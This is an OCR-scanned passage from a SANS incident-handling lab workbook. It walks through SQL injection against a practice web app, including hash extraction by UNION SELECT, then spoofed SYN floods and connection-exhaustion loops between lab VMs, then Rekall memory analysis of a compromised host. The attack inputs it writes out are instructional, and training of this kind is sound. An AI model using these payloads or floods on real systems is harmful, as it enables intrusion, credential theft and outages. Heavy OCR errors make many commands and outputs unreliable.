T a%\:-?x.php

Home Leave Feedbark View feedback Directory Cornectivity Checker Search Adrrén

ROOK AVIARY SERVICES

Employee Directory

Use this formn to search our employee database for contact information. e welcome direct customer communication o our sales and
engineering team,

Eeror: You have an efrar in your SOL syntax: check the manual that carresponds ko your MySQL server varsion for the fght syntax ko
use near %" atline 1

Double-check your search syntax, then click Submit. The server will return a response that looks similar to the
example below:

;i Rool Aviaty Servicas ®

Ji1z7.00.1

Home Leave Feedback View Feedback Directory Cormectivity Checker Search Admin

engineering team.

Nome:!

Submit
Marma: josh Wright
E£mail: admin@ras.tgt

Name: Derek Roak
Email: roo%@ras.tge

Name: Fugene Salfned
Email: god@ras kgt

Mame: Dade Murphy
Email: crash@emas 1gt §

Mame; Kate Libby
Email: burn@ras.tgt

Name: Emmanue Goidstein
Email: frostadflakes@ras.tgt

Name: Pawi Cook
Email: palaroidhezd@ras.tgt

By entering a searchtermof ' or "1'='1 |, we have manipulated the SQL statement created by the website
developer. This crafted search term produces a SQL statement that will ook like  SELECT * FROM users WHERE
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username='' OR '1'='17; .Since 1 always equals 1, all usernames are retrieved from the database.

At this point, you have confirmed that the site is vulnerable to SQL injection. However, the real opportunity for
the attacker is not In manipulating the query to return more records than anticipated, but to collect more data

from different sources than anticipated.

Getbing Hashes

Next you will retrieve the password hash for the admin user from the target database behind the web

application.

ROOK AVIARY SERVICES

Employee Directory
Use this form ta search cur employee databass fac contact information, We weicame direct customer cammunization ta our sales and

engineering keam.

Mame:; NOUSER' union select usernasme, password from users where usemame =

| submir |
| S —

Double-check your search syntax, then click Submit. The server wilf return a response that looks similar to the

example betow:

wne




B see |

RS- .

Home teave Feedback View feedb

Directory Connectivity Checker Search Admin

enginearing team.

Name:}

Name: josh
Email: *FCZAFSBOISOSFF7ACSSI3ARGCOCD0GRFACEIDIDC

Mame: admin
Emall: *M7FATHNT7G7TAF63TFADEREDABIT 7 TIEBAZIATTICE

Mame: tha_pfague
Errail: *30616AASEZ30BOB2FA627C117TCCOATADE3FRCD

MName: crash_override
Emiails *T6EA26553BF74ECADBIES 126931 6CB58503F482E

Natna: acd_burn
Emall: *B475650D6B 2634E23BCEFCCDSB52850ACT2CAD44

Name; cereal_kilier
Email: *03614A32635303 1DSF3B7808BZT5ACAS0791C0ES

Name: tord_nikon
Email: *CCBZACETB65D60C1 410A0DIRFSBITRB2IFG237A05

This crafted SQL statement can be broken down as follows:

. NOUSER' | - Using any string that does not match a valid user causes the legitimate query to return no
results
o union i - Stack a second SQL statement onto the end of the first

. é select username, password frOm users - Selectthe username and password hash from the
) _users " table

¢ where username !~' | ~Adda WHERE : clause to the malicious portion of the query, retrieving all
records where the  usernare - field is not equal to an empty string . " | (supplying a single -, and
expecting the legitimate statement to supply the closing  * ).

Now, you should see the password hash for all the local users,

That hash could be useful against a target system. You may crack it using traditional password cracking or
rainbow tables and then log in to an administrative interface or session on the web server or a backend
database server,

Stop the Server

Finally, stop the web server components by running the : stop.sh  script, as shown here:

shr @ 2015, Joshua Wright and Mike Murr, Al Rights Raserved

.

fe)




sec504@slingshot:~/CourseFiles/weblab$ ./stop.sh

Complete!

If prompted, enter the password sec504 to complete the " stop.sh | script,

Conclusions

Now that you have seen XSS and SQL injection attacks hands-aon, it is important to reflect on just how
dangerous these issues are. Remember, your web applications are often a direct portal into your organization's
data. If an attacker can steal valid user sessions or gain direct access to data such as password hashes on a
database, the damage can be swift and brutal.

Moving forward and setting the stage for the next portion of the class, & few questions need to be answered,
First, how can you use the cookie you stole? The answer will be coming up in the interception proxy section of
the class. How can you crack the password hash? Hashcat can perform MDS5 cracking against these password

A more important question is: How do you test for these vulnerabilities? Thankfully, there are tools such as
W3AF and ZAP (which we talk about In the next session), which help you find approximately 80% of the
vulnerahilities in most applications.

One final note: All these attacks we talked about exist because developers forget to sanitize their input. We
need to train them to sanitize their input every time they receive data in their applications from anywhere.

Why This Lab Is Important

Attacks against web applications are a highly common method bad guys use. Once an exploitable flaw is
discovered, your web application is at the mercy of the attacker. In many respects, it Is as if the attacker has
been granted a VPN that lets them have direct and unfettered access o your systems. All manner of fraud is

made available,

Bonus (If Time Permits or Homework)

= Set up an intercept proxy like ZAP or Burp to see and modify the request and response.
s Make use of the browser developer tools to alter the cookie value instead of using  curl  and individual

reguests.
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* Crack the hashes retrieved from the database using Hashcat,

in Chrome:
Open the Developer Tools (CTRL+SHIFT+) or Tools | Developer Toals) | Console)

In Firefox:
Open the Developer Console (CTRL+SHIFT+K or Tools | Web Developer) | Console)

Once the Web Console is apen, you can edit the cookie value like so:

¢ document.cockie="keyofcookie=valuecfcookia™

So for the lzb above, you could do something like this:
document. cookie="user=1337"

Additional Resources

Related SANS Classes

DEV522: Defending Web Applications Securlty Essentials (hrps:iwww sans.org/course/defending-web-applications-security-

essentials)

SEC542; Web App Penetration Testing and Ethical Hacking (https://www.sans.org/coursedweb-app-penstration-tasting-

ethical-hacking)

SEC642: Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation Techniques

(hitps:/iww.sans. org/ourse/advanced-web-app-penetration-testing-ethical-hacking)

Other Resources

*+  The Tangled Web: A Guide to Securing Modern Web Applications by Michat Zalewski

* The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws by Dafydd Stuttard and

Marcus Pinto
»  OWASP Testing Project (httpsi/www.owasp.org/indes, php/OWASP_Testing, Project)
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Brief Intro

Denial of service is more than annoying, it can be fatal to your organization's online presence, Being able to
guickly identify and respond is key. Early warning is vital.

Requirements for This Lab

In this lab you will use bath your Slingshot Linux VM, and the Windows 10 VM. Make sure both VMs are running
before continuing with the lab exercise.

Try It Yourself

Instantiate muitiple instances of some applications and count them from the command line, Generate small
amounts of traffic and count how many connections take place. Do all of this with only built-in OS5 compenents.

Walkthrough

Verify Connectivity

On the Linux VM, test connectivity to the Windows VM using the : ping ; utility:

209, Joshun Wreight and M




{lo.10.0.1

56(8

sec504@slingshot:~% ping ~c 3 10.10.0.1
PING 10.10.0.1 4) bytes of data.

64 bytes from 10.10.0.1: icmp seq=l ttl=128 time=0,872 ms
64 bytes from 10.10,0.1: icmp seq=2 ttl1=128 time=1.14 ms

64 bytes from 10.10.0.1: icmp seq=3 ttl1=128 time=1.40 ms

--— 10.18.0.1 ping statistics --—-
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.872/1,141/1.404/0.218 ms

Repeat this step, this time testing the connectivity from the Windows VM to the Linux YM:

Packets:

Minimum

Pinging 10.10.
Reply from 10.10.75.1:
Reply from 10.10.75.1:
Reply from 10.10.75.1:
Reply from 10.16.75.1

Ping statistics for 10.

Sent = 4,

= Oms, Maximum = lms, Average = Oms

bytes=32
bytes=32
bytes=32
bytes=32

10.75.1:
Received

Approximate round trip ftimes in

C:\Users\Sec504> ping 10.10.75.1

75.1 with 32 bytes of data:

time<lms TTL=64
time=Ilms TTL=64
time<lms TTL=64
time=1lms TTL=64

= 4, Lest = 0 (0% lossy,

milli-seconds:

If you are unable to get a respense from the Windows VM or the Linux VM, take a look at the Testing Virtual
Machine Connectivity (vM-Connectivity-Test hteni) module for troubleshooting steps.

Disable the Linuyx Firewall

In this lab it is necessary to disable the Linux firewall to prevent any TCP RST packets tearing down the TCP
connection state that your attacks are trying to consume.

It is very important to compiete this step, otherwise the lab will fail!

Run the cammand below to assign your Linux IP address and disable the Linux firewall:
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sec504@slingshot:~$ sudo su -

[sudo] password for sec504d: sepb5l4
root@slingshot:~% ifconfig ethl 10.10.75.1/16
roct@slingshot: ~# iptablas ¥

Disable the Windows Firewall

Similarly, it is necessary to disable the Windows firewall for this exercise as well, Start by right-clicking the
Command Prompt icon, then select Run as administrator. In the Command Prompt, disable the firewall with the
netsh command, as shown here:

C:\Windows\system32> netsh advfirewall set allprofiles state off
Ck.

Note that the Command Prompt indicates that you are in the | c: \Windows\systemé’.? directory for this
command, This is because you are running the Command Prompt as an administrator. Do not attempt to run this
command from any other Command Prompt!

Next, close the administrative Command Prompt, )
Counting Running Processes in Windows

For the first resource exhaustion attack we analyze, we look at counting processes with a given name. An
attacker may try to launch a large number of processes on a machine, overwhelming its process table.

For this component of the lab, we experiment with a benlgn process simply running © n tepad exe .TOkeep
our systems from crashing, we run 20 copies of - notepad.exe ,a large number but somethi ng that a

Windows machine should handle,
Weusea cmd.exe | ForR looptospawn the ' notepad.exe  processes.

Then, to count the number of running processes, we use the  tasklist command withthe find

command for counting.

Finally, we kill the processes based on their name using the : wurc - command.

aWright an




C:\Users\Sec504> tasklist | find /i /¢ "notepad.exe”
Q

Now, launch a single - notepad.exe 1

Ci\Users\5ec504> notepad.exe

1

Launch the Windows Process Aftack

1 ;. a common default letter for an incrementing variable. We then have the  in . component of the loop,
in which we specify a start value of 1 for our variable, counting in steps of 1, counting all the way through 20
( (1,1,20) ') Ateach iteration through the loop, we run the * notepad.exe : command, prefaced with an
"¢ sothatthe loop does not display the | notepadexe command at each iteration through the loop. In

other words, the : @ ' turns off command  eche .

Run the ' ror loop as shown here:

C:\Users\Sec504> for /L %i im {1,1,20) do @notepad.sxe

N
=
bl
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You see notepad.exe's filling your screen.

Return to the Command Prompt. Now, count agaln, and you should see 21 ‘notepad.exe . processes (the

original 1 plus 20 more);

C:\Users\Sec504> tasklist | find /i /o "aotepad.exa”
21

Finally, kill the processes using WMIC:

C:\Users\Sec504> wmic process where name="notepad.exe! dalets
Deleting instance \\SECS504STUDENT\ROOT\CTMVZ2zwin32_ Process.Handle="1412"
bt ; Instance deletion successful.

Deleting instance \\SEC504STUDENT\ROOT\CIMV2zwin32 Process.Handle="2732"
Instance deletion successful.

Deleting instance \\SECSD4STUDENT\ROOT\CIMVZzwin32_Process.Handle:"4732"
Instance deletion successful.

bDeleting instance \\SECS04STUDENT\RGOT\CIMV2zwin32_ Process.Handle="2882"

Instance deletion successful.

Another fun thing te try, after all the other parts of this lab are done, is to see just how many | notepad.exe

instances you can start... before your system crashes,

Count Half-Open Connections in Windows

For the next component of the lab, we count half-open connections on Windows.

To start, we need to choose a listening port on Windows, We recommend that you use TCP 445, which should

be listening on your Windows machine. You can verify that 445 is listening or find another listening port to use
on Windows by running:

C:\Users\Sec504> natstat -ana | find /i "listening”




Do not use o Netcat Ifstener to open a listening port for this lab because Netcat allows only one connection at o
time. Evenwith the -1 © option, Netcat still closes the port before it starts listening again, freeing up any
connection state aflocated on the port. Thus, Netcat isn't suitable for this lab.

To analyze the status of the port, use the .ﬁetstat - command to list TCP and UDP ports which you then send

connections you have on port 445 of your Windows machlne

Ci\Users\Sec504> netstat -na | find *445" i find /i /¢ "syn_ received"
0

You likely do not see holf-open connections because we haven't started the attack yet.

Next you will switch to the Slingshot Linux VM to play the role of the attacker.

Open a Terminal, Access Root Account

sec504@slingshot:~$ sude su -
[sude] password for sec504: secS04
root@slingshot: ~#

Send Half-Open Connections from Linux

To launch our attack, we use the héingj” packet-crafting tool on Linux to attack Windows, We configure

' hping3  to send SYN packets from a spoofed source address of | 10.10.11.11 against our Windows
machine, Use hplnq3 on Lmux to !aunch 20¢( ——count 20 )SYN packets( --syn )spooﬂngthe source

machine, leng by default sends ane packet per second.

b
oy
[eal
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root@slingshoti~# hping3 =-syn ==count 20 -=-gpoof 10.10.11.11 -p 445 1¢.10.0.1
HPING 10.10.0.1 (eth® 10.10,0.1): 8 set, 40 headers + 0 data bytes

-~ 10.16.0.1 hping statistic ——-
20 packets transmitted, O packets received, 100% packet loss :
round-trip minfavg/max = 0.0/0.0/0.0 ms

root@slingshet: ~#

Count Half-Open Connections in Windows

While | HpingB L is running, rerun your netstat command to count the half-open connections on Windows.
Return to the Command Prompt on your Windows VM, press the Up-arrow key to recall the command, and
press Enter to rerun it.

You should see the number of half-cpen connections ratcheting upward as hping - FuNSs:

C:\Users\Sec504> netstat -na | £ind "445" | find /i /e "syn_received”

relies on a while loop to invoke Netcat to connect to our Windows machine on TCP 445 (20 times). That'll be a
full-open connection, completing the three-way handshake.

You can view the script using your favorite Linux editor, suchas | vi © or nano .Todo soin Linux with

fgedit o, run:

rootBslingshot:~4 gadit /home/serbld/tools/B04 Dof ex/cconnect.sh




Look at the script shown below, which simply starts a counter out at 0 and runs & | while | loop while the
count is fess than 20, ltinvokes ' nc  at each iteration through the loop to connect to ' 10.10.0.1 . on port
445, running in the background { 5 ). We increment the counter at each iteration thro'ug'h' the 'Ii:'aap. Thus, the
loop runs from 0 to 19 (that is, 20 Ei'r:nes).

#!/bin/bash
count=0
while [ $count -1t 20 ]; do
nc 10.10.0.1 445 &
count="expr Scount + 1°;
done

NOTE that the before the expr and ofter the 1 in our script is the unshifted tilde (- ~ ) key on most US keyboards,
it is not an open quote, but is instead a backtick!

Count Full-Open Connections in Windows

Return to the Command Prempt on your Windows ¥YM. Count the number of full-open connections (which
Windows netstat ° lists as "ESTABLISHED") to port 445 using the following command:

C:\Users\8ec504> netstat -nz | find "445" | find /i /¢ "established”
0

There should be zero for naw because we haven't started the attack yet.

Launch the Linux Full-Open Attack

ey
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Count Full-Open Connections in Windows

Return to the Windows Command Prompt. Periadically rerun the é”ﬁ..é-t.;tg’lc” i command to see the number of
full-open connections to TCP port 445. It should rapidly go up to 20:

C:\Users\Sech04> netstat -na | find "445" | find /i /o "established"
20

After a minute or so, the number of connections should subside.

Consider how you could use the netstat . command witha = find : command to determine the IP address
of the machine(s) that have made these connections. Write that command on a scrap of paper or your faverite

editor.

Counting Running Processes in Linux

We now shift from a Windows target to a Linux target, looking at how we can count resources on Linux to
determine whether certain Do$ attacks are underway. We start with a process-hogging attack, launching the

xeves - GUI tool 20 times and then counting it on our systems.

. xeyes_loop. sh .. Openitin an edltor and see howthls scr;pt runs xeyes |nthe background( Keyes & ).

That is, at each iteration through the script, the Yeyes program is executed n the hackground, for a total of

20 processes running : xeyes .

roct@slingshot:~# gedit /home/secb4/tools/304 DoS_ex/xeyaes_loop.sh

The exyes loop.sh . scriptisalse included here:

Copy




#!/bin/bash
count=0 é
while [ Scount -1t 20 ]; deo 1:
xeyes & ;
count="expr Scount + 1°; :
dons

Next, we use the ' p= ' command to get a list of processes, which we'll search for a specific process name
{ xeyes !)and countusing ' grep |,

First, look for running processes associated with { xeyes

root@slingshot:~# ps aux | grep xeyes
sac504 3976 0.0 0.0 14224 980 pts/0 5+ 12:38 0:00 grep --color=auto

xeyes

root@slingshot:~# ps aux | grep -c xeyes
1

You will see one process, which is simply | grep xeves i,

Launch the Linux Process Attack

F)
[
P
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root@slingshot:~# /home/sec504/tools/504 DoS_ex/xeyes loop.sh

Now, count the number of processes associated with | xeyes

root@slingshot:~# ps aux | grep -C Xeyas
21

Finally, make sure that they are all gone (except possibly 1} by running:

- root@slingshot:~¥ ps aux | grep - xeyes
1

Starting a Linux Service Target

For our next lab component, we count half-open connections in Linux. Start by launching the SSH service and
observing the listening port, as shown:




rootdslingshot; ~#
systemctl start sshd,service

root@slingshot: ~#
netstat -nat | grep -i listen

tep 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
top 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tep o] 0 0.0.0,0:22 B.0.0.0:+% LISTEN
tep o] 0 127.0.0.1:5432 0.0.0.0:% LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:% LISTEN
tepé 0 0 :::22 A LISTEN
tepé 0 0 ::1:5432 HE LISTEN
tcpé 0 0 1:1:25 - LISTEN

The | -t optionin netstat indicates that we want only = rcr ports . This helps us keep clutter down and
it helps us focus only on TCP ports

TCP port 22 (associated with .“__.e_ohd yshould be listening. Verify that it is listening from the : netstat " output.

Target Preparation

In this part of the lab we W|II attack the SSH part with SYN packets. We use the Linux _ netstat program
together W|th the grep command to I|st and count the number of half-apen connect ions, which are in the

SYN RECV state qi splayed by Linux : nets at . We launch the SYN packets using : hpmq3 on Linux

entry in its ARP - table for . 10, 10.11.11 L Without an '_',_itftp - entry, the Linux machine cannot send its
| SYN-ACK response to the |nbound ¥N . When it cannotsend a | syn- Aoé{ I, Linux won't hold the
connection | in the : SYN_RECV " state. Thus we need to hardcode the ARP - entry to make the half-open

connection work properly.

In a real network, Linux would send the . syn-ack  because a router would respond to the victim Lintx
machine’s arp  request. Because we aren't routing here, we must add in this arp - entry manually.

Manual/ly/a‘do/the ARE entry for | 10.10.11.11 ', Mapping it to MAC address  01:02:03:04:05:086

-
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| Measure Linux Half-Open Connections

‘ Now, measure the number of half-open connections on TCP port 22 using | netstat ., as shown:
i
| : root@slingshot:~# netstat -na | grep 22 | grep -i -C s¥yn_recy
0
L
P ]
[ENT There should be zero entries because we haven't started the attack yet.
; .
Lais

Launch the Linux Half-Open Attack
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root@slingshot:~# hping3 ~-syn --count 20 ~-spoof 10.10.11,11 -p 22 10.10.75.1
HPING 10.10.75.1 (eth0 10.10.75.1): S set, 40 headers + 0 data bytes

len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=022 flags=SA seq=0 win=29200 rtt=7.9 ms

DUP! len=44 ip=10.10,75.1 ttl=64 DF id=0 sport=22 flags=5A seq=0 win=29200 rtt=1004.1
ms

len=44 ip=10.10.75.1 tti=64 DF id=0 sport=22 flags=SA seq=l win=29200 rtt=1.7 ms

DUP! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=5A seq=1 win=25200 rtt=1002.3
ms

len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=3Sa seq=2 win=29200 rtt=1.5 ms

DUP! len=44 1p=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seq=0 win—=29200 rtt=3003.9
ms

DUP! len=44 ip=10.10.75.1 ttl=64 DF 1d=0 sport=22 flags=SA seq=2 win=29200 rtt=1000.4
ms

en=44 1p=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seq=2 win=29200 rtt=3.7 ms

DUP! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seq=l win=29200 rtt=3001.9
ms

DUP! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seq=3 win=29200 rtt=1003.7
ms

len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seq=4 win=28200 rtt=3.1 ms

DUP! len=44 ip=10.10.75.1 ttl=64 DF 1d=0 sport=22 flags=SA segq=2 win=29200 rtt=3000.3
ms

len=44 ip=10.10.75.1 ttI=64 DF id=0 sport=22 flags=5A seq=0 win=29200 rtt=2.6 ms

DUP! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=S3A seq=4 win=29200 rtt=1006.7
ms

bUP! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seg=5 win=29200 rtt=1002.4
ns

DOP! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seq=3 win=29200 rtt=3003.6
ms

Ien=44 1p=10.10.75,1 ttl=64 DF id=0 sport=22 flags=SA seq=6 win—=29200 rtt=2.2 ms

DUE! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=SA seq=0 win=29200 rtt=7003.8
ms

DUP! len=44 ip=10.10.75.1 ttl=64 DF id=0 sport=22 flags=3SA seq=6 win=29200 rtt=100%Z.2

ms
len=44 1p=10.10.75.1

-=-- 10.10.75.1 hping

8 packets transmitted,
round-trip min/avg/max

ttl=64 DF id=0

statistic ---

20 packets received,
1,5/1303.0/7003.8 ms

sport=22 flags=S8SA seq=7 win=29200 rtt=1,7 ms

-150% packet loss

Now, in a separate terminal from | hping3 ,while hping3 : is FUnning, rerun * netstat -nat | grsp

synmrec{z . watching the number of half-open connections climb:

if needed, you con restart the  hping3 : attack to observe the half-open connections,

Pt
P
Py
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sech04@slingshot:~$ netstat =nat | grep 22 | grep ~i =g syn_reov

Note that it may max out on Linux before it gets to 20.

Free Up SSH Hali-Open Connections

Next, you can free up the half-open connection queue on Linux by restarting the given service. From the
terminal with root privileges, restart the ~ sse  service as shown;

. 3ec504@slingshot:~§ natstat -nat | grep 22 [ grep -i ~¢ syn recv
4

Count Full-Open Connections in Linux

For the final component of this tab, we launch full-cpen connections from our Windows machine against our
Linux targets. We use a . windows FOR loop . toinvoke Ketcat - 20 times to connect to Linux, completing

the three-way handshake.

On Linux, we use the * netstat and @ grep commands to list and count the number of connections in the

" EETABLISHED " state, the Linux | netstat | command output for a full-open connection.

From your Slingshot Linux VM, count the number of full-open (established) connections to TCP port 22. You
should see zero because we haven't launched any yet:




root@slingshot:~# netstat -na | grep 22 | grep -i -c established
0

Launch the Windows Full-Open Attack

Next, return to your Windows VM. From a Command Prompt, launch the full-open connection attack with this
" For : loop:

Note that you must put the full path to Netcat on your Windows machine.

You will see 20 Netcat consoles pop-up on your Windows system.

Count Full-Open Connections in Linux

Next, return to the Slingshot Linux VM and recount the number of established connections to TCP port 22. You
should see it go up after several seconds. Again, you will likely exhaust the target before reaching 20 full-open
connections:

1s

privileged terminal, as shown:

fes)
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root@slingshot:~# svstemctl restart sshd.service

Count Full-Open Connections in Linux

o Using either terminal, recount the full-open connactions:
|
|

sec504Bslingshot:~% netstat -nat | grep 22 | grep ~i -c aestablished
19

Unfortunately, restarting the service does not reset the number of fuli-open connections, unlike the behavior

you saw with half-open connectians. You could use | killall | to getrid ofthe | ssnd child processes to free

Up the connections. However, you'd need to restart * sshd _ afterward, as shown:

root@slingshot:~# killall -8 sshd
root@slingshot:~# systemctl vestart sshd.sexvice

root@slingshot:~# netstat -nat | grep 22 | grep -i -c established
0

Why This Lab Is Important

Being able to quickly identify and respond to DoS conditions is a defining characteristic of a skilled incident
response handler. Knowing the techniques necessary to clear up the connection gueues for full-open or half-
open attacks will help you respond to varying attack techniques with greater proficiency.

Bonus (If Time Permits or Homework)

[ «  Extend the concepts in this lab to track open files, how many read or write events happen from a single
nrocess (great for detecting ransomware).
s Repeat the detection steps in this lab on Linux, substituting - 1scz  for npetstat .
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Brief Intro

Using digital forensics tools is a critical skill to have. Being able to analyze memory for attack artifacts is what
often separates those who suspect something from those who know. In this lab, we'll use the popular open-
source tool Rekall to analyze the memory capture of a machine that is suspected tc have been attacked.

Please note that the Rekall project also refers to itself in some commands and notes as rekal. An oddity of the
project. So please don't get confused with rekafl and rekal; they are the same thing.

Requirements for This Lab

In this lab you will use your Windows 10 VM. Make sure the VM is running before cantinuing with the lab
exercise,

Try It Yourself

Using Rekal! to analyze the image in © c: \Tc;éli;\'s6'4:£L1'ﬁ;é'i§}é'£'. amp :, determine what the attacker was doing
on the compromised system by answering the following questions:

. Which processes are communicating with other machines on the network?

. Which processes did the attacker likely run {process name and PID)?

. Is the attacker using the machine to pivot, and if so, how, and to which other systems is he/she pivoting?

Which suspicious process seems to be the root of all other suspicious activity on the compromised system?
Which built-in Windows commands would you use if you were doing the same analysis on a live Windows system
instead of @ memory dump file?

[ S ST R

We recommend filling out tables, like the ones below, before even attempting to answer the questions:
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Connection Table

Process Table

. Walkthrough. .. . ..

Starting Rekal

On your Windows VM, open a Command Prompt and start Rekal as shown:

Comyrig

1Y, fastua Wrighi and Mik




C:\> cd \Toels
C:\Tocls> rekal -f 504_full_Pivot.dmp

The Rekall Digital Forensic/Incident Response framework 1.6.0 (Gotthard).

"We can remember it for you wholesale!™

This program is free software; vou can redistribute it and/or modify it under
the Terms of The GNU General Public License.

See http://www.rekall-forensic.com/docs/Manual /tuterial.html To get started.

Your prompt will look different, You should see the name of the image you imported. Your prompt will also have -
the current tire of your VM.

Display Network Connections

Next, let's display the network connections:

[.]
[E%]
FN
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[ 1 504 full Pivot.dmp 17:26:59> netscan
——————————————————————————————— > netscan()

offset protocol local_addr remote_addr state pid
owner created
if 0x86d0d060 TCPv4 192.168,192.153:132 0.0.0,0:0 LISTENING 4
: System -
0x%86daZb60 TCPv4 0.0,0.0:49157 0.0.0.0:0 LISTENING 484
: lsass.exe -
: 0x86202630 TCPv4 0.0.0.0:135 0.0.0.0:0 LISTENING 728
svchost.exe -
N 0x86€02630 TCPVE $::135 1110 LISTENING 728
; gvchost.exe -
0x86e03518 TCPv4 0,0.0.0:135% 0.0.0.0:0 LISTENING 728
svchost . exe -
0x86e08640 TCPv4 0.0.0.0:49152 0.0.6.0:0 LISTENING 404
wininit.exe -
0x86e0ab%0d TCPvd 0.0.0.0:49152 0.0.0.0:0 LISTENING 404
wininit.exe -
0x86e20a590 TCPVE 11149152 1::0 LISTENING 404
wininit.exe -
0x86elfa30 TCPvd 0.0.0.0:49153 0.0.0.0:0 LISTEMING 776
svchost,exe -
0x86e2033C TCPv4 0.0.0.0:49153 0.0.0.0:0 LISTENING 776
svchost.exe -
0x86e20330 TCPvbH :::49153 HEA) LISTENING 776
LT é svchost.exe -
- 0x86ee22%0 TCPv4 0.0.0.0:49154 0.0.0.0:0 LISTENING 920
. SUERGET exe T m [P T [T
; OxBoeeaedld TCPvY 0.0.0.0:49154 0.0.0.0:0 LISTENING 920
éi svchost.exe -
Ox86seae60 TCPVE 11:49154 2110 LISTENING 920
svchost.exe -
0x86f28b48 TCPV4 0.0.0.0:31337 0.0.0.0:0 LISTEMNING 1492
metsve . exe -
0x86£9d148 TCPv4 0.0.0.0:49156 0.0.0.0:0 LISTENING 2028

svchost.exe -

tHere, of particular interest to us, we can see the Process 1Ds {PIDs), remote addresses, and remote ports, We
want to focus on ESTABLISHED connections.

You might want to write this information in the Connection Table.

You do not have to enter this command, this is only provided for reference. The roughly equivafent Windows
command to find such information on a live system is:

323




You dan't run that command here for the lab. Instead, we're just showing you how to map a Rekall feature to a
live Windows machine, so that you can answer Question 5 later,

You might note that the Connection Table is still missing two fields: The Parent Pracess ID (PPID) and the
process name. We get that information next.

To finish populating our Cennection Table, we need the Parent Process ID and Name for each process
communicating across the network. We can get this by taking the PID from the connection output and fooking
up the various processes using Rekall with its pslist module;
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(o
P [ 1 504 full Pivot.dmp 17:29:02> pslist
T mm e m e e > pslist{)
_EPROCESS name pid ppid thread_count handle count sessicn id
wowb4  process create time process_exit time
0X84f437e0 System 4 a 94 572 -
False 2017-04-24 19:21:482 -
(X863a3d40 smss,exe 260 4 3 2% -~
i False 2017~04-24 19:21:48%2 -
‘ 1 0x365089d0 csrss,exe 352 336 9 497 0
False 2017-04-24 19:21:482 -
0¥86d9e030 msdtc.exe 368 476 12 144 a
False 2017-04-24 19:21:54Z -
0x86a8d978 wininit.exe 404 336 3 74 0
False 2017-04-24 19:21:492 -
Qxz86ch55bh0 services.exe 476 404 11 217 0
False 2017-04-24 19:21:492 -
OxB6ccdbbl  lsass.exe 484 404 7 606 0
False 2017~04-24 19:21:49Z -
0XBEchbbB58  lsm.exe 492 404 9 149 0
: False 2017-04-24 19:21:492 -
T ; 0X8581£320 chreome.exe 548 2556 6 151 1
False 2017-04-24 20:14:35%2 -
0xB85L5c030 svchost. exe 608 476 9 324 0
False 2017-04-24 19:23:54% -
: 0x86dc2b80 svchost.exe 632 476 11 360 0
! False  2017-04-24 19%:21:50Z -
0x86de3030 vmacthlp.exe 696 476 3 53 0
g e g g BT T T s
0x86dfb390 svchost.exe 728 476 8 281 0
False 2017-04-24 19:21:502 -
0X86eb2c88 DbFLaDjtfSOWzZHW 752 2624 3 120 1
D ; False  2017-04-24 20:16:508 - '
o 0x86e0d840  svchost.exe 776 476 22 549 0
False 2017-04-24 19:21:507 -
0xB86fcd030 csrss.exe 836 3352 11 308 1
False 2017-04-24 19:25:39%2 -
’ 0x85a56160 vmtoolsd.exe 856 3632 6 174 1
False 2017-04-24 19:25:49Z -
0X86226438 svchost.exe 8e4d 476 18 439 0
False 2017-04-24 19:21:508 -
. 0XA6ed 4030 svchost.oxe 920 476 47 1279 0
i:-' False 2017-04-24 19:21:502 -
) 0X86e7c578  svchost.exe 1096 476 16 676 0
False 2017-04-24 19:21:50% -
0X85041d40  cmd. exe 1132 2440 1 2& 1
- False  2017-04-24 20:20:03% -
] 0x872bel30 Taskhost.exe 1160 476 7 185 1
P False 2017-04-24 19:25:44% -
: 0X86ecEc88  svchost.exe 1240 476 17 394 0
-




False 2017-04-24 1%:21:51%2 -
0¥X86dd5548 dwm.exe 1264 864 3 71 1
False 2017-04-24 19:25:48%2 -
0x850df4e8 chrome.exe 1z72 2556 2 57 1
False 2017-04-24 20:14:357% -
0x85812030 audiodg.exe 1292 776 3 126 0
False 2017-04-24 20:22:267 -
0x86eeb7b( spoolsv,exe 1336 476 14 339 0
False 2017-04-24 16:21:52% -

Feel free to add this information to the Connections Table for each process there, or just verify the Connection
Table included with this command.

You do not have to enter this command, this is only provided for reference,

| Ci\> wmic process get hame,parentprocessid,processid

This table answers Question 1: Which processes are communicating with other machines on the network?

920 svchost.exe 172.217.6.142.80

2440 3632 FlashUpdate.exe 107.170.23.228:443 443
920 476 svchost.exe 216.58.194.33:443 443
2440 3632 FlashUpdare.exe 192.168.192.156:22 22
752 2624 bFLaDjtSOWHW 107.170.23.228:8080 8080
4 1] System 192.168.192.151:445 445
2556 3632 chrome,axe £07.170.23.228:80 80

Determine Command-Line Invocations

Next, let's start working on Question 2: Which processes did the attacker likely run (process name and PID)? For
this, we need to fill out our Process Tahle.

Please copy the information from your Connections Table to the Process Table.

We now need to populate the Command-Line Invocation column of the Process Tahle, We can getthat
information by running Rekall with the dillist module, pulling information for each process we're interested in
using the syntax as follows:
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[ ] 504 full Pivot.dmp 17:30:00> dlllist 2440
——————————————————————————————— > dlilist{2440)
base size reason dll_path

FlashUpdate.ex pid: 2440
Command line : "C:\Users\Bob\Downloads\FlashUpdate.exe"

Service Pack 1
0x400000  0x16000 65535
' C:\Users\Bob\Downloads\FlashUpdate.exe
Ox77630000 0x13c000 65535
0x779c0000 0xd4000 65535
0x75£20000 0x4a000 65535
0x77dp0000 Oxac000 65535
Cx 77000000 02a0000 65535
Ox76660000 0x19000 65535
0x76090000 0xal000 65535

:\Windows\SYSTEM32\ntdll.dll
